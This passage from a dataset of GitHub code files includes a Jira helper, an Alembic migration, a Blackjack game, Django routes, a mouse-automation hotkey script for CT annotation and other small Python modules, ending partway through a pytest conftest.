'SCRUM'},\n 'summary': 'Testing issue from Python Jira Handbook',\n 'description': 'Detailed ticket description.',\n 'issuetype': {'name': 'Bug'},\n 'customfield_10020': 2\n}\n\nnew_issue = jira.create_issue(fields=issue_dict)\nprint(new_issue)\n\n","repo_name":"Petrdontone/GENERAL_PROJECT","sub_path":"jira_helper.py","file_name":"jira_helper.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"70557365991","text":"\"\"\"add molcas gv color\n\nRevision ID: 32c95be6f49\nRevises: bffefc6aad52\nCreate Date: 2016-02-17 14:36:37.343313\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = \"32c95be6f49\"\ndown_revision = \"bffefc6aad52\"\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n\n op.add_column(\"elements\", sa.Column(\"molcas_gv_color\", sa.String))\n\n\ndef downgrade():\n\n op.drop_column(\"elements\", \"molcas_gv_color\")\n","repo_name":"lmmentel/mendeleev","sub_path":"alembic/versions/32c95be6f49_add_molcas_gv_color.py","file_name":"32c95be6f49_add_molcas_gv_color.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":184,"dataset":"github-code","pt":"71"} +{"seq_id":"1937751472","text":"def parse_command(current_position, command):\n directions = [\"NORTH\", \"EAST\", \"SOUTH\", \"WEST\"]\n\n (x, y, direction) = current_position\n\n current_direction_idx = directions.index(direction)\n # Move forward on current heading\n if command == \"F\":\n if direction == \"NORTH\":\n y = y + 1\n if direction == \"EAST\":\n x = x + 1\n if direction == \"SOUTH\":\n y = y - 1\n if direction == \"WEST\":\n x = x - 1\n # Move backward on current heading\n if command == \"B\":\n if direction == \"NORTH\":\n y = y - 1\n if direction == \"EAST\":\n x = x - 1\n if direction == \"SOUTH\":\n y = y + 1\n if direction == \"WEST\":\n x = x + 1\n # Rotate left by 90 degrees\n if command == \"L\":\n if current_direction_idx > 0:\n next_direction_idx = current_direction_idx - 1\n else:\n next_direction_idx = len(directions) - 1\n direction = directions[next_direction_idx]\n # Rotate right by 90 degrees\n if command == \"R\":\n if current_direction_idx < len(directions) - 1:\n next_direction_idx = current_direction_idx + 1\n else:\n next_direction_idx = 0\n direction = directions[next_direction_idx]\n\n current_position = (x, y, direction)\n\n return current_position\n\n\ndef split_commands(commands):\n return [command for command in commands]\n","repo_name":"gustavoalmeida/mars_rover","sub_path":"cli/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"17914931057","text":"import pandas as pd\nimport numpy as np\nimport logging # Library for log\nimport utils\nfrom place import Place\nimport constants\n\nclass Manager:\n \"\"\"\n Manager class\n \"\"\"\n\n def __init__(self):\n # Read the data in the csv\n self.dataset = pd.read_csv('../data/covid_data_updated.csv', sep=',', index_col='Country')\n\n # Split the datasets values in different datasets\n self.dataset_deaths = self.dataset.applymap(utils.strip_value_deaths)\n self.dataset_cases = self.dataset.applymap(utils.strip_value_cases)\n\n self.countries = [] # List for keep the countries\n\n # Load the data here\n\n # Calculate global data\n world = Place('World', self.dataset_cases.sum(numeric_only=True), self.dataset_deaths.sum(numeric_only=True))\n\n # Add the World as a 'country'\n self.countries.append(world)\n\n # Create a country object for each row\n index_number = 0\n for index_name, row in self.dataset.iterrows():\n\n # Compare if the actual row belong to a previous country\n if index_name == self.countries[-1].name:\n\n # Add this row as an state of the previous added country\n place = Place(name=self.dataset.iloc[index_number][0],\n cases=self.dataset_cases.iloc[index_number][1:],\n deaths=self.dataset_deaths.iloc[index_number][1:])\n\n self.countries[-1].states.append(place)\n self.countries[-1].has_states = True\n\n else:\n # Add this row as a new country\n new_country = Place(name=index_name,\n cases=self.dataset_cases.iloc[index_number][1:],\n deaths=self.dataset_deaths.iloc[index_number][1:])\n self.countries.append(new_country)\n\n index_number += 1\n\n def get_country_by_name(self, target_name):\n \"\"\"\n Search in the country list for the country\n :return: Place\n \"\"\"\n for country in self.countries:\n if target_name == country.name:\n return country\n\n def get_data(self, country: Place, data_to_plot: int, option: int, state: str = 'All'):\n \"\"\"\n Get from the correct place the specified data in the parameters\n :param country: target country\n :param data_to_plot: 1 = cases; 2 = deaths; 3 = both of them\n :param option: 1 = cumulative; 2 = daily\n :param state: if state is different from 'All' return the data from teh state, otherwise from the country\n :return: tuple(cases_to_plot, deaths_to_plot)\n \"\"\"\n cases_to_plot = None\n deaths_to_plot = None\n\n target_place = country\n if state != 'All':\n target_place = country.get_state_by_name(state)\n\n if data_to_plot == constants.CASES:\n cases_to_plot = target_place.get_cases(option)\n elif data_to_plot == constants.DEATHS:\n deaths_to_plot = target_place.get_deaths(option)\n else:\n cases_to_plot = target_place.get_cases(option)\n deaths_to_plot = target_place.get_deaths(option)\n\n return cases_to_plot, deaths_to_plot\n\n\ndef _test():\n \"\"\"\n Test the manager\n \"\"\"\n logging.basicConfig(level=logging.DEBUG)\n logging.debug('Starting test for manager.py')\n\n manager = Manager()\n logging.info(len(manager.countries))\n\n logging.info(manager.countries[9])\n\n\nif __name__ == '__main__':\n _test()\n","repo_name":"renatojobal/python_sol","sub_path":"FinalProject/src/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":3548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"42521741209","text":"import os\nimport numpy as np\nfrom PIL import Image\nfrom tqdm import tqdm\nimport torch\nimport torchvision.transforms as transforms\nfrom torch.utils.data import DataLoader, Dataset\ndef readLabel(path, order = 'single', binary = True):\n folders = sorted(os.listdir(path))\n phones = []\n sessions = []\n ids = []\n labels = []\n for i, folder in enumerate(folders):\n image_path = os.path.join(path, folder)\n image_dir = sorted(os.listdir(image_path))\n split = image_path.split('/')[-1].split('_')\n phone = int(split[0])-1\n session = int(split[1])-1\n id = int(split[2])-1\n label = int(split[3])-1\n if binary:\n label = 0 if label==0 else 1\n else:\n if label==0:\n label = 0\n elif (label==1 or label==2):\n label = 1 \n elif (label==3 or label==4):\n label = 2 \n if order == 'group':\n phones.append(phone)\n sessions.append(session)\n ids.append(id)\n labels.append(label)\n elif order == 'single':\n phones.extend([phone]*(11))\n sessions.extend([session]*(11))\n ids.extend([id]*(11))\n labels.extend([label]*(11))\n return np.array(phones), np.array(sessions), np.array(ids), np.array(labels)\ndef readImg(path, order = 'single', binary = True,size = 256):\n folders = sorted(os.listdir(path))\n if order == 'single':\n x = np.zeros([len(folders*11),size,size,3], dtype=np.uint8)\n elif order == 'group':\n x = np.zeros([len(folders),11,size,size,3], dtype=np.uint8)\n sess = []\n for i, folder in enumerate(tqdm(folders)):\n image_path = os.path.join(path, folder)\n image_dir = sorted(os.listdir(image_path))\n for j, file in enumerate(image_dir):\n if order == 'single':\n x[i*11+j,:,:] = np.array(Image.open(os.path.join(image_path, file)).resize((size, size), Image.ANTIALIAS))[:,:,:3]\n elif order == 'group':\n x[i,j,:,:] = np.array(Image.open(os.path.join(image_path, file)).resize((size, size), Image.ANTIALIAS))[:,:,:3]\n return x\nclass ImgDataset(Dataset):\n def __init__(self, x, y=None, sess=None, transform=None, order = 'single', binary = True):\n self.x = x\n # label is required to be a LongTensor\n self.order = order\n self.binary = binary\n self.y = y\n self.sess = sess\n self.transform = transform\n\n def __len__(self):\n return len(self.x)\n def __getitem__(self, index):\n imgs = self.x[index]\n if self.order == 'group':\n tmp = torch.zeros([imgs.shape[0],3,256,256])\n for i, img in enumerate(imgs):\n # img = Image.open(file).resize((512, 512), Image.ANTIALIAS)\n if self.transform is not None:\n tmp[i,:,:,:] = self.transform(img) \n imgs = tmp\n elif self.order == 'single':\n # imgs = Image.open(image_dir).resize((512, 512), Image.ANTIALIAS)\n # imgs = image_dir\n if self.transform is not None:\n imgs = self.transform(imgs)\n if self.y is not None:\n Y = torch.tensor(self.y[index],dtype=(torch.float if self.binary else torch.long))\n S = torch.tensor(self.sess[index],dtype=torch.long)\n return imgs, Y, S\n else:\n return imgs","repo_name":"vichsuWah/Face_AntiSpoofing","sub_path":"scripts/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"734861478","text":"import pyautogui as pg\r\nimport time\r\nimport keyboard\r\nfrom tqdm import tqdm\r\nimport tracker\r\nclass mouse:\r\n def __init__(self,ch_loc = False):\r\n self.ch_loc = ch_loc\r\n \r\n self.memX, self.memY = 0,0\r\n \r\n # self.viewlocX, self.viewlocY = 2023, 932\r\n # self.cursor02X, self.cursor02Y = 1933, 740\r\n # self.cursor03X, self.cursor03Y = 1935, 740\r\n # self.cursor05X, self.cursor05Y = 1938, 740\r\n # self.cursor10X, self.cursor10Y = 1948, 740\r\n # self.cursor20X, self.cursor20Y = 1969, 740\r\n # self.cursor50X, self.cursor50Y = 2029, 740\r\n # self.LU_X,self.LU_Y = 2274, 150\r\n # self.RB_X,self.RB_Y = 3286, 1000\r\n \r\n self.viewlocX, self.viewlocY = 103, 927\r\n self.cursor02X, self.cursor02Y = 13, 742\r\n self.cursor03X, self.cursor03Y = 15, 742\r\n self.cursor05X, self.cursor05Y = 18, 739\r\n self.cursor10X, self.cursor10Y = 29, 739\r\n self.cursor20X, self.cursor20Y = 48, 739\r\n self.cursor50X, self.cursor50Y = 109, 744\r\n self.LU_X, self.LU_Y = 307, 124\r\n self.RB_X, self.RB_Y = 1372, 981 \r\n self.dullclick = (1643,552) \r\n \r\n self.liner = tracker.liner((self.LU_X,self.LU_Y),(self.RB_X,self.RB_Y))\r\n self.liner.get_map()\r\n \r\n def memloc(self):\r\n self.memX,self.memY = pg.position()\r\n \r\n def save_key(self, key):\r\n while True:\r\n if keyboard.is_pressed(key):\r\n self.memloc()\r\n self.locX = self.memX\r\n self.locY = self.memY\r\n return self.locX,self.locY\r\n \r\n # keyboard.wait(key) \r\n # self.memloc()\r\n # self.locX = self.memX\r\n # self.locY = self.memY\r\n # return self.locX,self.locY \r\n \r\n def click_key(self, key, X,Y):\r\n if keyboard.is_pressed(key):\r\n self.memloc()\r\n pg.click(X,Y)\r\n pg.moveTo(self.memX,self.memY)\r\n time.sleep(0.2)\r\n \r\n def press_function(self,key,func):\r\n # keyboard.wait(key)\r\n # return func()\r\n \r\n while True:\r\n if keyboard.is_pressed('f'):\r\n return None\r\n if keyboard.is_pressed(key):\r\n return func()\r\n\r\n def erase_all(self):\r\n if keyboard.is_pressed('0'):\r\n while True:\r\n t = keyboard.read_key()\r\n if t:\r\n if t == 'e':\r\n break\r\n elif t == '0':\r\n pass\r\n else:\r\n return False\r\n \r\n self.memloc()\r\n \r\n pg.click(self.cursor50X, self.cursor50Y)\r\n pg.keyDown('CTRL')\r\n pg.moveTo(self.LU_X,self.LU_Y)\r\n ms_y = self.LU_Y\r\n pg.mouseDown()\r\n for i in range(3):\r\n pg.moveTo(self.RB_X,ms_y,0.6)\r\n ms_y += int((self.RB_Y-self.LU_Y)/5)\r\n pg.moveTo(self.RB_X,ms_y,0.1)\r\n pg.moveTo(self.LU_X,ms_y,0.6)\r\n ms_y += int((self.RB_Y-self.LU_Y)/5)\r\n pg.moveTo(self.LU_X,ms_y,0.1)\r\n pg.mouseUp()\r\n \r\n pg.keyUp('CTRL')\r\n pg.moveTo(self.memX,self.memY)\r\n \r\n def set_map(self):\r\n self.liner.get_map()\r\n \r\n def get_loc(self):\r\n return pg.position()\r\n \r\n def draw_line(self,st,end):\r\n track = tracker.tracker(st,end,map = self.liner.map)\r\n track.mouse_follow()\r\n return track.loclist[-1]\r\n \r\n def click_all(self):\r\n if keyboard.is_pressed('g'):\r\n self.liner.mouse_click_all()\r\n\r\n # def draw_line(self,lst):\r\n # track = tracker.tracker((0,0),(0,0),map = self.liner.map)\r\n # track.mouse_follow(lst)\r\n # return track.loclist[-1]\r\n\r\n # def run_line_relay(self):\r\n # if keyboard.is_pressed('r'):\r\n # self.set_map()\r\n \r\n # if keyboard.is_pressed('s'):\r\n # lst = []\r\n # while True:\r\n # dot_s = self.press_function('s',self.get_loc)\r\n # print('s')\r\n # lst.append(dot_s)\r\n # time.sleep(0.1)\r\n # if keyboard.is_pressed('d'):\r\n # break\r\n # dot_e = self.press_function('d',self.get_loc)\r\n # print('d')\r\n # lst.append(dot_e)\r\n \r\n # n_end = self.draw_line(lst)\r\n \r\n # pg.moveTo(n_end) \r\n \r\n def run_line(self):\r\n if keyboard.is_pressed('r'):\r\n self.set_map()\r\n \r\n # if keyboard.is_pressed('s'):\r\n # st = self.press_function('s',self.get_loc)\r\n # end = self.press_function('d',self.get_loc)\r\n \r\n # n_end = self.draw_line(st,end)\r\n # pg.moveTo(n_end)\r\n\r\n if keyboard.is_pressed('s'):\r\n lst = []\r\n while True:\r\n # if keyboard.is_pressed('f'):\r\n # break\r\n dot1 = self.press_function('s',self.get_loc)\r\n if dot1== None:\r\n break\r\n\r\n dot2 = self.press_function('d',self.get_loc)\r\n if dot2== None:\r\n break\r\n lst.append((dot1,dot2))\r\n \r\n for dots in lst:\r\n st,end = dots\r\n n_end = self.draw_line(st,end) \r\n time.sleep(0.1) \r\n \r\n # for n in range(len(lst)-1):\r\n # st = lst[n]\r\n # end = lst[n+1]\r\n # n_end = self.draw_line(st,end) \r\n # time.sleep(0.1) \r\n \r\n pg.moveTo(self.dullclick)\r\n time.sleep(0.5)\r\n pg.moveTo(n_end)\r\n \r\n # def run_line_relay(self):\r\n # if keyboard.is_pressed('r'):\r\n # self.set_map()\r\n \r\n # if keyboard.is_pressed('s'):\r\n # lst = []\r\n # while not keyboard.is_pressed('d'):\r\n # dot_s = self.press_function('s',self.get_loc)\r\n # lst.append(dot_s)\r\n # time.sleep(0.05)\r\n # dot_e = self.press_function('d',self.get_loc)\r\n # lst.append(dot_e)\r\n \r\n # for n in range(len(lst)-1):\r\n # st = lst[n]\r\n # end = lst[n+1]\r\n # n_end = self.draw_line(st,end)\r\n \r\n # pg.moveTo(n_end) \r\n \r\n \r\n def init_change(self):\r\n print('Select label loc')\r\n self.viewlocX, self.viewlocY = self.save_key('s')\r\n print(f'loc :{self.viewlocX}, {self.viewlocY}')\r\n time.sleep(0.5)\r\n\r\n print('Select cursor02 loc')\r\n self.cursor02X, self.cursor02Y = self.save_key('s')\r\n print(f'loc :{self.cursor02X}, {self.cursor02Y}')\r\n time.sleep(0.5)\r\n \r\n print('Select cursor03 loc')\r\n self.cursor03X, self.cursor03Y = self.save_key('s')\r\n print(f'loc :{self.cursor03X}, {self.cursor03Y}')\r\n time.sleep(0.5)\r\n \r\n print('Select cursor05 loc')\r\n self.cursor05X, self.cursor05Y = self.save_key('s')\r\n print(f'loc :{self.cursor05X}, {self.cursor05Y}')\r\n time.sleep(0.5) \r\n \r\n print('Select cursor10 loc')\r\n self.cursor10X, self.cursor10Y = self.save_key('s')\r\n print(f'loc :{self.cursor10X}, {self.cursor10Y}')\r\n time.sleep(0.5)\r\n \r\n print('Select cursor20 loc')\r\n self.cursor20X, self.cursor20Y = self.save_key('s')\r\n print(f'loc :{self.cursor20X}, {self.cursor20Y}')\r\n time.sleep(0.5)\r\n \r\n print('Select cursor50 loc')\r\n self.cursor50X, self.cursor50Y = self.save_key('s')\r\n print(f'loc :{self.cursor50X}, {self.cursor50Y}')\r\n time.sleep(0.5)\r\n \r\n print('Select upperleft loc')\r\n self.LU_X,self.LU_Y = self.save_key('s')\r\n print(f'loc :{self.LU_X}, {self.LU_Y}')\r\n time.sleep(0.5)\r\n \r\n print('Select bottomright loc')\r\n self.RB_X,self.RB_Y = self.save_key('s')\r\n print(f'loc :{self.RB_X}, {self.RB_Y}')\r\n time.sleep(0.5)\r\n \r\n print('Done!\\n')\r\n \r\n print(f'self.viewlocX, self.viewlocY = {self.viewlocX}, {self.viewlocY}')\r\n print(f'self.cursor02X, self.cursor02Y = {self.cursor02X}, {self.cursor02Y}')\r\n print(f'self.cursor03X, self.cursor03Y = {self.cursor03X}, {self.cursor03Y}')\r\n print(f'self.cursor05X, self.cursor05Y = {self.cursor05X}, {self.cursor05Y}')\r\n print(f'self.cursor10X, self.cursor10Y = {self.cursor10X}, {self.cursor10Y}')\r\n print(f'self.cursor20X, self.cursor20Y = {self.cursor20X}, {self.cursor20Y}')\r\n print(f'self.cursor50X, self.cursor50Y = {self.cursor50X}, {self.cursor50Y}')\r\n print(f'self.LU_X, self.LU_Y = {self.LU_X}, {self.LU_Y}')\r\n print(f'self.RB_X, self.RB_Y = {self.RB_X}, {self.RB_Y}')\r\n \r\n \r\n def run(self, key0 = '`',key1 = '1', key2 = '2', key3 = '3', key4 = '4', keyV = 'C'):\r\n while True:\r\n if self.ch_loc == True:\r\n self.init_change()\r\n self.ch_loc = False\r\n # self.save_key('m')\r\n \r\n self.click_key(key0,self.cursor02X, self.cursor02Y)\r\n self.click_key(key1,self.cursor03X, self.cursor03Y)\r\n self.click_key(key2,self.cursor05X, self.cursor05Y)\r\n self.click_key(key3,self.cursor10X, self.cursor10Y)\r\n self.click_key(key4,self.cursor20X, self.cursor20Y)\r\n self.click_key(keyV,self.viewlocX, self.viewlocY)\r\n self.erase_all()\r\n self.run_line()\r\n #self.click_all() #deprecated: The running time is not effective cuz this function clicks too much\r\n # self.run_line_relay()\r\n if keyboard.is_pressed('F3'):\r\n break \r\n\r\n\r\nt = mouse()\r\n\r\nwhile True:\r\n try:\r\n t.run()\r\n except Exception as e:\r\n if e == KeyboardInterrupt:\r\n break\r\n else:\r\n print('error', e)\r\n pass\r\n if keyboard.is_pressed('F3'):\r\n break","repo_name":"junho171/Codes_Public","sub_path":"CT_crowdwork/line_tracker.py","file_name":"line_tracker.py","file_ext":"py","file_size_in_byte":10372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"23927925813","text":"from email.mime import application\nimport bpy\nimport ifcopenshell\nimport ifcsverchok.helper\nfrom bpy.props import StringProperty\nfrom sverchok.node_tree import SverchCustomTreeNode\nfrom sverchok.data_structure import updateNode\nfrom ifcopenshell import template\n\n\nclass SvIfcQuickProjectSetup(bpy.types.Node, SverchCustomTreeNode, ifcsverchok.helper.SvIfcCore):\n bl_idname = \"SvIfcQuickProjectSetup\"\n bl_label = \"IFC Quick Project Setup\"\n schema_identifier: StringProperty(name=\"schema_identifier\", update=updateNode, default=\"IFC4\")\n timestring: StringProperty(name=\"timestring\", update=updateNode)\n application: StringProperty(name=\"application\", update=updateNode)\n application_version: StringProperty(name=\"application_version\", update=updateNode)\n timestamp: StringProperty(name=\"timestamp\", update=updateNode)\n\n def sv_init(self, context):\n input_socket = self.inputs.new(\"SvStringsSocket\", \"filename\")\n input_socket.tooltip = \"Ifc file name\"\n input_socket = self.inputs.new(\"SvStringsSocket\", \"timestring\")\n input_socket.tooltip = \"Timestring, default = current time\"\n input_socket = self.inputs.new(\"SvStringsSocket\", \"organization\")\n input_socket.tooltip = \"Organization\"\n input_socket = self.inputs.new(\"SvStringsSocket\", \"creator\")\n input_socket.tooltip = \"creator\"\n input_socket = self.inputs.new(\"SvStringsSocket\", \"schema_identifier\")\n input_socket.tooltip = \"Schema, default = 'IFC4'\"\n input_socket = self.inputs.new(\"SvStringsSocket\", \"application_version\")\n input_socket.tooltip = \"Application version\"\n input_socket = self.inputs.new(\"SvStringsSocket\", \"timestamp\")\n input_socket.tooltip = \"Timestamp, default = current time\"\n input_socket = self.inputs.new(\"SvStringsSocket\", \"application\")\n input_socket.tooltip = \"Application, default = 'IfcOpenShell'\"\n input_socket = self.inputs.new(\"SvStringsSocket\", \"project_globalid\")\n input_socket.tooltip = \"Project GlobalId\"\n input_socket = self.inputs.new(\"SvStringsSocket\", \"project_name\")\n input_socket.tooltip = \"Project name\"\n self.outputs.new(\"SvVerticesSocket\", \"file\")\n\n def draw_buttons(self, context, layout):\n op = layout.operator(\n \"node.sv_ifc_tooltip\", text=\"\", icon=\"QUESTION\", emboss=False\n ).tooltip = \"Quick Project Setup: creates Ifc file and sets up a basic project\"\n # op.tooltip = self.tooltip\n\n def process(self):\n self.sv_input_names = [i.name for i in self.inputs]\n super().process()\n\n def process_ifc(self, *setting_values):\n settings = dict(zip(self.sv_input_names, setting_values))\n settings = {k: v for k, v in settings.items() if v != \"\"}\n file = template.create(\n filename=settings[\"filename\"],\n timestring=settings[\"timestring\"],\n organization=settings[\"organization\"],\n creator=settings[\"creator\"],\n schema_identifier=settings[\"schema_identifier\"],\n application_version=settings[\"application_version\"],\n timestamp=settings[\"timestamp\"],\n application=settings[\"application\"],\n project_globalid=settings[\"project_globalid\"],\n project_name=settings[\"project_name\"],\n )\n\n self.outputs[\"file\"].sv_set([[file]])\n\n\ndef register():\n bpy.utils.register_class(SvIfcQuickProjectSetup)\n\n\ndef unregister():\n bpy.utils.unregister_class(SvIfcQuickProjectSetup)\n","repo_name":"IfcOpenShell/IfcOpenShell","sub_path":"src/ifcsverchok/nodes/ifc/quick_project_setup.py","file_name":"quick_project_setup.py","file_ext":"py","file_size_in_byte":3519,"program_lang":"python","lang":"en","doc_type":"code","stars":1412,"dataset":"github-code","pt":"71"} +{"seq_id":"74650436390","text":"############### Blackjack Project #####################\n\n############### Blackjack House Rules #####################\n\n## The deck is unlimited in size. \n## There are no jokers. \n## The Jack/Queen/King all count as 10.\n## The the Ace can count as 11 or 1.\n## Use the following list as the deck of cards:\n## cards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\n## The cards in the list have equal probability of being drawn.\n## Cards are not removed from the deck as they are drawn.\n## The computer is the dealer.\n\nimport random\n\ndef deal_card():\n return random.choice(cards)\n\ncards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\n\ndef calculate_score(list):\n score = sum(list)\n if len(list) == 2 and score == 21:\n score = 0\n return score\n for i in range(0,len(list)):\n if list[i] == 11 and score > 21:\n list[i] = 1\n return score\n\ndef compare(us,cs):\n if us == cs:\n print(\"Draw!\")\n elif cs == 0:\n print(\"Sorry, you lose! Opponent has BlackJack!\")\n elif us > 21:\n print(\"Sorry, you went over!\")\n elif us == 0:\n print(\"Winner with BlackJack!\")\n elif cs > 21:\n print(\"Congrats, your opponent went over. You win by default!\")\n else:\n if us > cs:\n print(\"Winner! Your score is greater!\")\n else:\n print(\"Sorry, you lose! Opponent had highest score!\")\n\nuser_cards = []\ncomputer_cards = []\n\nfor i in range(0,2):\n user_cards.append(deal_card())\n computer_cards.append(deal_card())\n\nloop = True\n\nutotal = calculate_score(user_cards)\nctotal = calculate_score(computer_cards)\nprint(f\" Your cards: {user_cards}, current score: {utotal}\")\nprint(f\" Computer's first card: {computer_cards[0]}\")\n\nif utotal == 0 or ctotal == 0 or utotal > 21:\n loop = False\n compare(utotal,ctotal)\n\nwhile ctotal != 0 and ctotal < 17:\n computer_cards.append(deal_card())\n ctotal = calculate_score(computer_cards)\n\nwhile loop == True:\n cg = input(\"Would you like to draw another card? Type 'y' if so. Otherwise type 'n'. \").lower()\n if cg == \"y\":\n user_cards.append(deal_card())\n utotal = calculate_score(user_cards)\n print(f\" Your cards: {user_cards}, current score: {utotal}\")\n print(f\" Computer's first card: {computer_cards[0]}\")\n\n if cg == \"n\" or utotal == 0 or ctotal == 0 or utotal > 21:\n loop = False\n print(f\" Your final hand: {user_cards}, final score: {utotal}\")\n print(f\" Computer's final hand: {computer_cards}, final score: {ctotal}\")\n compare(utotal,ctotal)\n\n","repo_name":"zhabailey3/PythonProjects","sub_path":"Blackjack.py","file_name":"Blackjack.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"7049652712","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n\n # returns acc if acc already exists in DB\n # adds acc in DB , and return added acc ( if acc doesnt exists in DB)\n path('account/loginOrRegister/', views.loginOrRegister),\n\n path('account/login/', views.loginAccount), # return true/false ( after checking if account exists)\n\n #! ACCOUNTS -register paths \n path('account/', views.getAllAccounts),\n path('account//', views.getSingleAccount),\n path('account/register/', views.registerAccount), #add\n path('account/resetAccount//', views.resetAccount), #update , (use for reset password)\n path('account/delete//', views.deleteAccount), #delete\n\n #! MEMBER PROFILE DATA paths ( here uid prop is setted as primary key)\n path('memberProfile/', views.getMemberProfile),\n path('memberProfile//', views.getSingleMemberProfile),\n path('memberProfile/add/', views.addMemberProfile),\n path('memberProfile/update//', views.updateMemberProfile),\n path('memberProfile/delete//', views.deleteMemberProfile),\n\n\n \n #! GYM TRACK paths ( here uid prop id setted as Foreign key)\n path('queue/', views.getQueue),\n path('queue//', views.getSingleQueue),\n path('queue/add/', views.addQueue),\n path('queue/update//', views.updateQueue),\n path('queue/delete//', views.deleteQueue),\n path('queue/deleteByUid//', views.deleteQueueByUid), # delete by uid ( dont need now as uid=id)\n \n\n #! Queue user websockets paths ( here uid prop id setted as Foreign key)\n path('queueUserWs/', views.getQueueUserWs),\n path('queueUserWs/add/', views.addQueueUserWs),\n path('queueUserWs/update//', views.updateQueueUserWs),\n path('queueUserWs/delete//', views.deleteQueueUserWs),\n\n \n #! GYM TRACK paths ( here uid prop id setted as Foreign key)\n path('queueUser/', views.getQueueUser),\n path('queueUser//', views.getSingleQueueUser),\n path('queueUser/add/', views.addQueueUser),\n path('queueUser/update//', views.updateQueueUser),\n path('queueUser/delete//', views.deleteQueueUser),\n path('queueUser/deleteByUid//', views.deleteQueueUserByUid), # delete by uid ( dont need now as uid=id)\n\n\n# #! ATTENDANCE paths ( here uid prop id setted as Foreign key)\n# path('attendance/', views.getAttendance),\n# path('attendance//', views.getSingleAttendance),\n# path('attendance/add/', views.addAttendance),\n# path('attendance/update//', views.updateAttendance),\n# path('attendance/delete//', views.deleteAttendance),\n# path('attendance/deleteByUid//', views.deleteAttendanceByUid), # delete by uid ( dont need now as uid=id)\n\n]\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Rushi-creates/NoQ-Ws","sub_path":"core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"24866547598","text":"from ellipsis import apiManager, sanitize\n\n\ndef send(pathId, access, token, userId=None, email=None, sendMail=None):\n pathId = sanitize.validUuid('pathId', pathId, True)\n token = sanitize.validString('token', token, True)\n userId = sanitize.validUuid('userId', userId, False)\n email = sanitize.validString('email', email, False)\n access = sanitize.validObject('access', access, True)\n sendMail = sanitize.validBool('sendMail', sendMail, False)\n\n return apiManager.post(f'/path/{pathId}/invite', {\n 'userId': userId,\n 'email': email,\n 'access': access,\n 'sendMail': sendMail\n }, token)\n\n\ndef revoke(pathId, inviteId, token):\n pathId = sanitize.validUuid('pathId', pathId, True)\n token = sanitize.validString('token', token, False)\n inviteId = sanitize.validUuid('inviteId', inviteId, True)\n return apiManager.delete(f'/path/{pathId}/invite/{inviteId}', None, token)\n\n\ndef accept(pathId, inviteId, token):\n pathId = sanitize.validUuid('pathId', pathId, True)\n token = sanitize.validString('token', token, False)\n inviteId = sanitize.validUuid('inviteId', inviteId, True)\n\n return apiManager.post(f'/path/{pathId}/invite/{inviteId}/accept', {\n 'accept': True\n }, token)\n\ndef decline(pathId, inviteId, token):\n pathId = sanitize.validUuid('pathId', pathId, True)\n token = sanitize.validString('token', token, False)\n inviteId = sanitize.validUuid('inviteId', inviteId, True)\n\n return apiManager.post(f'/path/{pathId}/invite/{inviteId}/accept', {\n 'accept': False\n }, token)\n\n\ndef getYourInvites(token):\n token = sanitize.validString('token', token, True)\n return apiManager.get('/path/invite', None, token)\n\n\ndef getPathInvites(pathId, token):\n pathId = sanitize.validUuid('pathId', pathId, True)\n token = sanitize.validString('token', token, False)\n return apiManager.get(f'/path/{pathId}/invite', None, token)\n","repo_name":"ellipsis-drive/python-package","sub_path":"ellipsis/path/invite/root.py","file_name":"root.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"33224452917","text":"# content of conftest.py\n\nimport pytest\nfrom rurouni import Database\nfrom StringIO import StringIO\nfrom datetime import date\nfrom random import random\nfrom math import ceil\nfrom os import remove as rm\nimport logging\n\nclass LoggedDB(object):\n def __init__(self, db_str):\n self.db = Database(db_str)\n self.stream = StringIO()\n self.handler = logging.StreamHandler(self.stream)\n logging.basicConfig(format=\"%(message)s\")\n self.logger = logging.getLogger('sqlalchemy.engine.base.Engine')\n self.logger.setLevel(logging.INFO)\n self.logger.addHandler(self.handler)\n self.db_str = db_str\n\n def flush(self):\n self.handler.flush()\n self.stream.getvalue()\n self.stream.truncate(0)\n\n def destroy(self):\n self.db.destroy()\n self.handler.close()\n\n def destroy(self):\n self.db.destroy()\n self.handler.close()\n\n def whipeout(self):\n fdb = self.db._engine.url.database\n self.destroy()\n if fdb != ':memory:':\n rm(fdb)\n\n def reopen(self):\n self.destroy()\n\n self.db = Database(self.db_str)\n self.stream = StringIO()\n self.handler = logging.StreamHandler(self.stream)\n logging.basicConfig(format=\"%(message)s\")\n self.logger = logging.getLogger('sqlalchemy.engine.base.Engine')\n self.logger.setLevel(logging.INFO)\n self.logger.addHandler(self.handler)\n\n def getLog(self):\n self.handler.flush()\n logs = self.stream.getvalue().split('\\n')\n cleaned_logs = []\n for log_line in logs:\n log_line = log_line.strip()\n if log_line == \"()\":\n continue\n if log_line:\n cleaned_logs.append(log_line)\n return cleaned_logs\n\ndef randomDate():\n today = date.today()\n day = int(ceil(random()*28))\n month = int(ceil(random()*12))\n 